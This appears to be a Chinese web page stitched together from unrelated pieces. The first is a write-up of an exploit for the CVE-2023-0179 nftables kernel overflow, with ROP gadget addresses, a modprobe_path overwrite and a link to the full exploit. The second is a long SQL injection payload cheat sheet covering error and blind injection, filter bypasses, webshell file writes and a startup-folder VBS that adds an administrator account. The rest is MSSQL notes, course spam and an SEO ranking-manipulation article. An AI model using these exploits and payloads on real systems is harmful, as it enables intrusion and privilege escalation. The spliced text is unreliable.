在CVE-2023-0179-Nftables整型溢出中,分析了漏洞的成因,接下來分析漏洞的利用。
根據漏洞成因可以知道,payload_eval_copy_vlan函數存在整型溢出,導致我們將vlan頭部結構拷貝到寄存器(NFT_REG32_00-NFT_REG32_15),而該變量時存在與棧上的,因此可以覆蓋棧上的其余變量的。
可以發現regs變量是無法覆蓋到返回地址。
因此我們需要觀察源碼,jumpstack變量是在regs變量下方
我們可以通過溢出regs變量覆蓋到jumpstack變量。
那么接下來需要觀察一下nft_jumpstack結構體中存在哪些變量
struct nft_jumpstack {
const struct nft_chain *chain;
const struct nft_rule_dp *rule;
const struct nft_rule_dp *last_rule;
};
nft_jumpstack結構體在nft_do_chain函數的作用如下,當狀態寄存器被設置為JUMP條件時,意味著需要跳轉到其他chain進行處理,因此需要先保存當前chain的狀態,這里與函數調用時保存棧時的處理一樣,估計因此才命名為jumpstack。并且使用一個全局變量stackptr用于確定保存的chain的先后順序。在保存完之后,就跳轉到目的chain,目的chain則是存儲在regs.verdict.chain中。
...
switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rule = nft_rule_next(rule);
jumpstack[stackptr].last_rule = last_rule;
stackptr++;
case NFT_GOTO:
chain = regs.verdict.chain;
goto do_chain;
...
還原chain的過程如下,通過遞減stackptr來取出存儲在jumpstack變量中存儲的chain、rule、lastrule,然后就會跳轉到next_rule對還原的rule,進行rule的解析,這里需要注意的是在遍歷rule的時候,循環是通過rule < last_rule進行遍歷的,因此我們在后續偽造last_rule的時候需要大于rule,否則是無法進入循環內部的。
next_rule:
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) {
nft_rule_dp_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ?s);
else if (expr->ops == &nft_cmp16_fast_ops)
nft_cmp16_fast_eval(expr, ?s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ?s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ?s, pkt))
expr_call_ops_eval(expr, ?s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
...
if (stackptr > 0) {
stackptr--;
chain = jumpstack[stackptr].chain;
rule = jumpstack[stackptr].rule;
last_rule = jumpstack[stackptr].last_rule;
goto next_rule;
}
...
緊接著來看一下nft_rule_dp結構體,可以發現第一個八個字節是一些標志位組成的,而后續的八個字節則是用于存儲nft_expr結構體的指針。
struct nft_rule_dp {
u64 is_last:1,
dlen:12,
handle:42; /* for tracing */
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
然后可以看到nft_expr結構體里存儲了函數指針,如果我們能夠篡改該函數指針就可以劫持程序流程。
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
然后在這篇文章https://www.ctfiot.com/100156.html學習到了一個小技巧。使用`ptype /o struct xxx`就可以看到具體的結構體信息與偏移。
因此構造的流程如下,首先我們通過漏洞溢出到nft_jumpstack結構體,并且修改rule變量為可控內容的地址同時需要將lastrule的值篡改為比rule更大的值,原因上述已經說過。緊接著在可控內容中偽造一個nft_rule_dp結構體,第一個八字節是填充位,而第二個八字節是需要偽造的函數表指針,同樣的我們也將該指針篡改為可控內容的地址,然后再該地址處偽造nft_expr,并且將ops變量指向我們想要執行的函數即可。
通過上述分析已經知道了該如何通過漏洞完成程序流程的劫持,接下來需要分析如果偽造上述幾個結構體。
首先在nft_payload_copy_vlan函數中,漏洞點是將vlan頭的數據拷貝到指定的寄存器里面,而vlan頭的地址是低于寄存器的地址,這就會導致在拷貝完vlan頭后會將寄存器中的值也進行拷貝的操作,而寄存器的值我們是能人為控制的,因此就可以完成偽造的操作。
可以看到我們對NFT_REG32_00的賦值會覆蓋到jumpstack[7].rule的值,完成了對jumpstack結構體的篡改,這里我們可以通過NFT_REG32_00 - NFT_REG32_15進行賦值,緊接著查看jumpstack哪個值是被賦值。就可以知道哪個jumpstack可以被篡改。
由于我們可以控制regs變量的值,我們可以首先泄露regs的地址,然后在regs上偽造rule即可。然后expr重新指向為jumpstack即可,這里采用了一個小技巧就是將last_rule設置為一個函數地址,由于函數地址的值是大于regs變量的地址值的,因此我們可以節約八個字節。
但是這里有個問題就是我們只能控制八個字節的函數指針,因此是無法構造一個完整的ROP鏈的,而內核并不存在像用戶態下有one_gadget可以只利用八個字節就能完成利用,因此在這里必須使用棧遷移,遷移的目的是一段可以控制的內存,那么這里選用的目的自然就是regs了。那么該如何找棧遷移的gadget呢?,這里我首先采用的使用利用vmlinux-to-elf將bzImage的符號表提取出來,然后尋找對應的gadget,gadget類型如下
上述指令都可以修改rsp寄存器,完成棧遷移的效果。
首先通過vmlinux-to-elf ./bzImage ./vmlinux去提取出符號表
然后通過ropper進行gadget的提取,ropper --file ./vmlinux --nocolor > g
最后這在搜索gadget,cat g | grep 'add rsp.*ret',但是通過嘗試發現下述的地址都沒辦法使用,因為下述地址都不具備可執行的權限。
然后嘗試了搜索上述所有的gadget,我都沒有找到可以用的gadget,唯一比較接近的gadget是pop rsi的,但是無法控制rsi的寄存器,其實這里一開始我使用的鏡像是自己編譯的,這里搜索的gadget是需要控制rdi寄存器的,經過多次嘗試無果后才使用了作者的config文件重新編譯發現還是不可行。
其實我們在編譯內核文件時是存在vmlinux文件的,但是那個文件十分的大,使用ropper工具無法分析,就在我準備放棄的時候,想到使用objdump工具進行gadget的提取
使用objdump -d -M intel vmlinux > ./gadget.txt
objdump提取的速度非常快,提取代碼如下,但是它沒有ropper搜索gadget那么方便,但是會全的多
這里我首先嘗試了搜索棧遷移的gadget,cat gadget.txt | grep -E 'add rsp.*'
可以發現有非常多的匹配的gadget,接著我們在gdb中驗證可以使用的gadget,通常在棧進行還原的時候會用到add rsp,xxx,因此都是有效的gadget,然后就是計算棧頂與resg函數地址的差值找到相應的棧遷移gadget即可。
接下就是考慮如何進行提權的利用了,雖然我們可以控制regs但是可控的范圍也只有0x40是不足于采用commit_creds(prepare_kernel_cred(0))設置root憑證然后返回到用戶空間執行后門的。那么相當的一個辦法就是通過覆蓋modprobe_path進行提權。這里我找了下列gadget進行modprobe_path的覆蓋,將rdi設置為modprobe_path,rax設置為覆蓋后的路徑即可。
0xffffffff810d1e6b: mov qword ptr [rdi], rax; ret;
0xffffffff81004165: pop rdi; pop rbp; ret
最后就是覆蓋完modprobe_path該如何返回到用戶態,因為modprobe_path的提權需要在用戶態下執行非法文件頭的文件,這里作者采用的是將棧還原,通過在rbp中的地址值覆蓋會rsp中即可,采用下述gadget
0xffffffff810b47f0: mov rsp, rbp; pop rbp; ret;
但是在我的環境下直接返回不行,這是因為在返回到 nf_hook_slow函數時,有對狀態碼的一個檢驗,而在上述覆蓋modprobe_path時,我們設置了rax值,就導致無法將狀態碼設置成合法值。那分支就會跳轉到default,導致報錯。在嘗試搜索了gadget之后,可以將rax設置為0,但是這回進入到NF_DROP分支 中,但是此時skb變量也被我們破壞了,無法正常執行。
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
for (; s < e->num_hook_entries; s++) {
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
kfree_skb_reason(skb,
SKB_DROP_REASON_NETFILTER_DROP);
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
return ret;
case NF_QUEUE:
ret = nf_queue(skb, state, s, verdict);
if (ret == 1)
continue;
return ret;
default:
/* Implicit handling for NF_STOLEN, as well as any other
* non conventional verdicts.
*/
return 0;
}
}
return 1;
}
在嘗試很久之后,最終放棄正常返回的這個選項,然后我在rbp中搜索是否有合適的返回地址。最后在rbp中我找到了一個do_softirq函數
該函數是一個軟中斷處理的函數,當時我就猜想,如果這個函數返回了,應該不會影響程序的執行。
嘗試運行之后,發現還是有內核異常,頓時有點失望。
但是在操控命令行的時候是能夠正常輸入命令的,說明我們成功返回到用戶態了。
最后就是查看是否將新用戶寫入到/etc/passwd中了,最終完成寫入。完結撒花。
完整exp可以參考https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179(nftables)/poc.c
?若前面的查詢結果不為空,則返回兩次查詢的值:
?若前面的查詢結果為空,則只返回union查詢的值:
?關鍵字union select
?需要字段數對應
常用Payload:
# 查詢表名
' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23
# 查詢字段名
' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
報錯注入是利用mysql在出錯的時候會引出查詢信息的特征,常用的報錯手段有如下10種:
# 修改select user() 字段 獲取不同的信息
# 1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
# 2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
# 3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
# 4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
# 5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。
返回值只有True或False的類型
如果查詢結果不為空,則返回True(或者是Success之類的),否則返回False
這種注入比較簡單,可以挨個猜測表名、字段名和字段值的字符,通過返回結果判斷猜測是否正確
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+
Orderby盲注
order by rand(True)和order by rand(False)的結果排序是不同的,可以根據這個不同來進行盲注:
例:order by rand(database()='pdotest')
返回了True的排序,說明database()=’pdotest’是正確的值
其實大多數頁面,即使存在sql注入也基本是不會有回顯的,因此這時候就要用延時來判斷查詢的結果是否正確。
常見的時間盲注有:
1.sleep(x)
id=' or sleep(3)%23
id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
查詢結果正確,則延遲3秒,錯誤則無延時。
2.benchmark()
通過大量運算來模擬延時:
id=' or benchmark(10000000,sha(1))%23
id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
本地測試這個值大約可延時3秒:
3.笛卡爾積
計算笛卡爾積也是通過大量運算模擬延時:
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C
select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
笛卡爾積延時大約也是3秒
注入手法和上述相差不多,就是注入點發生了變化
常見場景,登錄處SQL語句如下,注釋符號被過濾
select xxx from xxx where username=’xxx’ and password=’xxx’
# 方法一
username=1' or extractvalue/*
password=1*/(1,concat(0x7e,(select database()),0x7e))or'
SQL語句最終變為
select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or''
# 方法二
username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1
password=1
select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
二次注入主要出現在update和select結合點,如注冊之后在登錄
攻擊者構造的惡意payload首先會被服務器存儲在數據庫中,在之后取出數據庫在進行SQL語句拼接時產生的SQL注入問題
假如注冊時username參數在mysql中為字符串類型,并且有unique屬性,設置了長度為VARCHAR(20)。
則我們注冊一個username為admin[20個空格]asd的用戶名,則在mysql中首先會判斷是否有重復,若無重復,則會截取前20個字符加入到數據庫中,所以數據庫存儲的數據為admin[20個空格],而進行登錄的時候,SQL語句會忽略空格,因此我們相當于覆寫了admin賬號。
用于過濾時沒有匹配大小寫的情況:
SelECt * from table;
用于將禁止的字符直接刪掉的過濾情況如:
preg_replace(‘/select/‘,’’,input)
則可用seselectlect from xxx來繞過,在刪除一個select后剩下的就是select from xxx
【——全網最全的網絡安全學習資料包分享給愛學習的你,關注我,私信回復“資料領取”獲取——】
1.網絡安全多個方向學習路線
2.全網最全的CTF入門學習資料
3.一線大佬實戰經驗分享筆記
4.網安大廠面試題合集
5.紅藍對抗實戰技術秘籍
6.網絡安全基礎入門、Linux、web安全、滲透測試方面視頻
當空格被過濾時,可以使用/**/ () %0a %09進行繞過
如果在查詢字段名的時候表名被過濾,或是數據庫中某些特定字符被過濾,則可用16進制繞過:
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273為users的16進制
只能針對表名,字段名等,內置函數關鍵字,不能使用16進制替代
寬字節注入
用于單引號被轉義,但編碼為gbk編碼的情況下,用特殊字符將其與反斜杠合并,構成一個特殊字符:
username = %df'#
經gbk解碼后變為:
select * from users where username ='運'#
成功閉合了單引號。
Latin1編碼
Mysql表的編碼默認為latin1,如果設置字符集為utf8,則存在一些latin1中有而utf8中沒有的字符,而Mysql是如何處理這些字符的呢?直接忽略
于是我們可以輸入?username=admin%c2,存儲至表中就變為了admin
上面的%c2可以換為%c2-%ef之間的任意字符
and -> &&
or -> ||
空格-> /**/ -> %a0 -> %0a -> +
# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注:regexp為正則匹配,利用正則會有些新的注入手段
# 用join代替:
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
# limit:
limit 2,1
limit 1 offset 2
# substr:
substr(database(),5,1)
substr(database() from 5 for 1) from為從第幾個字符開始,for為截取幾個
substr(database() from 5)
# 如果for也被過濾了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反轉,mid和substr等同
# if:
if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end
select user from users limit 1
加限制條件,如:
select user from users group by user_id having user_id = 1 (user_id是表中的一個column)
innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志將會把表、鍵的信息記錄到這兩個表中
除此之外,系統表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于記錄查詢的緩存,某些情況下可代替information_schema
在進行MySQL文件讀寫操作之前要先查看是否擁有權限,mysql文件權限存放于mysql表的file_priv字段,對應不同的User,如果可以讀寫,則數據庫記錄為Y,反之為N:
我們可以通過user()查看當前用戶是什么,如果對應用戶具有讀寫權限,則往下看,反之則放棄這條路找其他的方法。
除了要查看用戶權限,還有一個地方要查看,即secure-file-priv。它是一個系統變量,用于限制讀寫功能,它的值有三種:
(1)無內容,即無限制
(2)為NULL,表示禁止文件讀寫
(3)為目錄名,表示僅能在此目錄下讀寫
該配置項存放在my.ini中,修改之后必須重啟mysql重新加載配置文件
如果滿足上述2個條件,則可嘗試讀寫文件了。
常用的讀文件的語句有如下幾種:
select load_file(file_path);
load data infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取服務端文件
load data local infile "/etc/passwd" into table 庫里存在的表名 FIELDS TERMINATED BY 'n'; #讀取客戶端文件
需要注意的是,file_path必須為絕對路徑,且反斜杠需要轉義:
select 1,"" into outfile '/var/www/html/1.php';
select 2,"" into dumpfile '/var/www/html/1.php';
當secure_file_priv值為NULL時,可用生成日志的方法繞過:
set global general_log_file = '/var/www/html/1.php';
set global general_log = on;
日志除了general_log還有其他許多日志,實際場景中需要有足夠的寫入日志的權限,且需要堆疊注入的條件方可采用該方法,因此利用非常困難。
若用戶訪問DNS服務器,則會在DNS日志中留下記錄。如果請求中帶有SQL查詢的信息,則信息可被帶出到DNS記錄中。
利用條件:
1.secure_file_priv為空且有文件讀取權限
2.目標為windows(利用了UNC,Linux不可行)
3.無回顯且無法時間盲注
利用方法:
可以找一個免費的DNSlog:http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF
找到一個非常nice的入門課程,復制鏈接即可報名:
https://mp.weixin.qq.com/s/1gI0LnWdYbyArC8v58Yikw
方法二:ntunnel_mysql.php
Navicat內置的php-mysq鏈接文件,上傳到目標網站
對navicat進行如下配置即可:
方法三:蟻劍內置插件
windows開機時候都會有一些開機啟動的程序,那時候啟動的程序權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的。當 Windows 的啟動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本導入到啟動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行。
在windows2003的系統下,啟動項路徑如下:
C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動
C:\Documents and Settings\All Users\「開始」菜單\程序\啟動
在windows2008的系統下,啟動項路徑如下:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啟動目錄 C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權。
這里使用test.vbs添加用戶密碼,上傳到啟動目錄重啟的時候即可自動添加賬號密碼
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
通過mysql的話:
use mysql;
create table test(cmd text);
insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
select * from a into outfile “C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\secist.vbs”;
重啟之后可以提權
https://lengjibo.github.io/mysqludf/
MSSQL安裝后默認帶了六個數據庫
?4個系統庫:master、model、tempdb和msdb;
?2個示例庫:NorthwindTraders和pubs
系統自帶庫 | 功能 |
master | 系統控制數據庫,包含所有配置信息,用戶登錄信息,當前系統運行情況 |
model | 模板數據庫,數據庫時建立所有數據庫的模板。 |
tempdb | 臨時容器,保存所有的臨時表,存儲過程和其他程序交互的臨時文件 |
msdb | 主要為用戶使用,記錄著計劃信息、事件處理信息、數據備份、警告以及異常信息 |
MSSQL數據庫有安裝的自帶數據表:
視圖表 | 功能 |
sysobjects | 記錄了數據庫中所有表,常用字段為id、name和xtype |
syscolumns | 記錄了數據庫中所有表的字段,常用字段為id、name和xtype |
sys.databases | SQL Server 中所有的數據庫 |
sys.sql_logins | SQL Server 中所有的登錄名 |
information_schema.tables | 當前用戶數據庫的表 |
information_schema.columns | 當前用戶數據庫的列 |
sys.all_columns | 用戶定義和系統對象的所有列的聯合 |
sys.database_principals | 數據庫中每個權限或列異常權限 |
sys.database_files | 存儲在數據庫中數據庫文件 |
?服務器角色
固定服務器角色 | 權限 |
sysadmin(最高服務器角色) | 執行SQL Server中的任何動作 |
serveradmin | 配置服務器設置 |
setupadmin | 安裝復制和管理擴展過程 |
securityadmin | 管理登錄和Create database的權限以及閱讀審計 |
processadmin | 管理SQL Server進程 |
dbcreator | 創建和修改數據庫 |
diskadmin | 管理磁盤文件 |
可以通過如下語句判斷:
select is_srvrolemember('sysadmin')
?數據庫角色
固定數據庫角色 | 權限 |
db_owner( 最高權限) | 可以執行數據庫中所有動作的用戶 |
db_accessadmin | 可以添加、刪除用戶的用戶 |
db_datareader | 可以查看所有數據庫中用戶表內數據的用戶 |
db_datawriter | 可以添加、修改、刪除所有數據庫中用戶表內數據的用戶 |
db_ddladmin | 可以在數據庫注重執行所有DDL操作的用戶 |
db_securityadmin | 可以管理數據庫中與安全權限有關所有動作的用戶 |
db_backoperator | 可以備份數據庫的用戶 |
db_denydatareader | 不能看到數據庫中任何數據的用戶 |
db_denydatawriter | 不能改變數據庫中任何數據的用戶 |
可以通過如下語句判斷:
select is_member('db_owner')
# 創建數據庫
create database [dbname];
create database test;
# 刪除數據庫
drop database [dbname];
drop database test;
# 創建新表
create table table_name (name char(10),age tinyint,sex int);
# 創建新表前要選擇數據庫,默認是master庫
use test;
create table admin (users char(255),passwd char(255),sex int);
# 刪除新表
drop table table_name;
drop table dbo.admin;
# 向表中插入數據
insert into table_name (column1,column2) values(value1,value2);
insert into admin (users,passwd,sex) values('admin','admin',1);
# 刪除內容
delete from table_name where column1=value1;
delete from admin where sex=2;
# 更新內容
update table_name set column2=”xxx” where column1=value1;
update admin set users='admintest' where sex=2;
# 查找內容
select * from table_name where column1=value1;
select passwd from admin where users='admin';
?排序&獲取下一條數據
–MSSQL數據庫中沒有limit排序獲取字段,但是可以使用top 1來顯示數據中的第一條數據,
–使用 <> 來排除已經顯示的數據,獲取下一條數據,也就是不等于的意思。
–使用not in來排除已經顯示的數據,獲取下一條數據 ,后面可以跟一個集合。
# 使用<>獲取數據
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+
# 使用not in獲取數據
id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+
id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+
單行:--空格
多行:/**/
名稱 | 功能 |
suser_name() | 用戶登錄名 |
user_name() | 用戶在數據庫中的名字 |
user | 用戶在數據庫中的名字 |
db_name() | 數據庫名 |
@@version | 返回SQL服務器版本相關信息 |
quotename() | 在存儲過程中,給列名、表名等加個[]、’’等以保證sql語句能正常執行 |
WAITFOR DELAY '0:0:n' | '時:分:秒',WAITFOR DELAY '0:0:5'表示等待5秒后執行 |
substring() | 截取字符串 substr(字符串,開始截取位置,截取長度) ,例如substring('abcdef',1,2) 表示從第一位開始,截取2位,即 'ab' |
鹿資源網怎么快速提權-當然是快排: 快排就是利用一些方法讓關鍵詞快速排名到搜索結果前面,目前普遍的網站快排方法有軟件快排;發包快排;外鏈快排。快排有利有弊,我們還是要堅持走正確的路子。 1、通過軟件點擊器實現的快排 鹿鹿資源網提權是通過排名點擊器的軟件來操作網站排名的方法,是目前市面上常見的手法,成本也是低的。 利用點擊器,你可以設置自己網站搜索什么詞,然后被點擊多少次。假以時日網站在這個詞的排名就上去了,有效率在 30%,你操作 100 個詞,至少會有 30 個詞達到預期。但分享系數是較大的。 因為是機器操作,點擊的規則設置也比較簡單,哪怕這個軟件給你提供了更加靈活的點擊規則,但對于技術那么強大的百度而言,識別出你的概率至少在 85%,甚至以上。如果當下沒被識別出來,那么也只是一時的。 2、通過發包技術實現的快排 鹿鹿資源網這里先講一下什么是發包的原理。 你的網站存儲在服務器中,而網站是通過瀏覽器打開的。那你在瀏覽器上的操作,怎么才能顯示出網站的網頁來呢?這就又有了網站的程序。 你通過瀏覽器訪問一個網址,這個網址先對應到的是一個服務器。然后服務器接收到這個網址后,服務器內的程序會知道這個網址代表的是什么程序,然后執行程序,并把執行后的結果輸出給瀏覽器,并呈現給你。 這中間瀏覽器會發送請求數據給服務器,服務器接收到請求數據后利用程序開始處理,然后把處理完成的數據回傳給瀏覽器,瀏覽器進行網頁的渲染呈現。 這中間的請求數據和回傳數據,被稱之為包。快速排名公司利用瀏覽器的請求數據,發送你一個請求數據包,然后瀏覽器再回傳一個處理完的結果包。 當然請求包里就包含了模擬用戶真實點擊行為的所有行為記錄。以這樣的手段來欺騙搜索引擎,告訴搜索引擎我是一個真實的訪客,以此同樣利用點擊日志的用戶體驗系列的算法進行排名的干預,從而快速提升排名。 3、利用大量外鏈進行的快排技術 鏈接傳遞權重,這句話已經被 SEO 的從業者說爛了。那假設我有 3000 個網站,分為教育類、旅游類、搬家服務類三種各 1000 各站點。你做了一個新企業站,是搬家公司的。你想快速提升排名,找到我了。我給你來 100 個搬家公司的單向鏈接。你的排名在一周內就能上首頁,如果網站內沒其他問題,1 個月內至少前三名。 這就是鹿鹿資源網提權快排的全部教程了 往大家多多吸取正能量知識 耐心做站本文來自:鹿鹿資源網,原地址:https://www.luluzyw.com/post/400.html
*請認真填寫需求信息,我們會在24小時內與您取得聯系。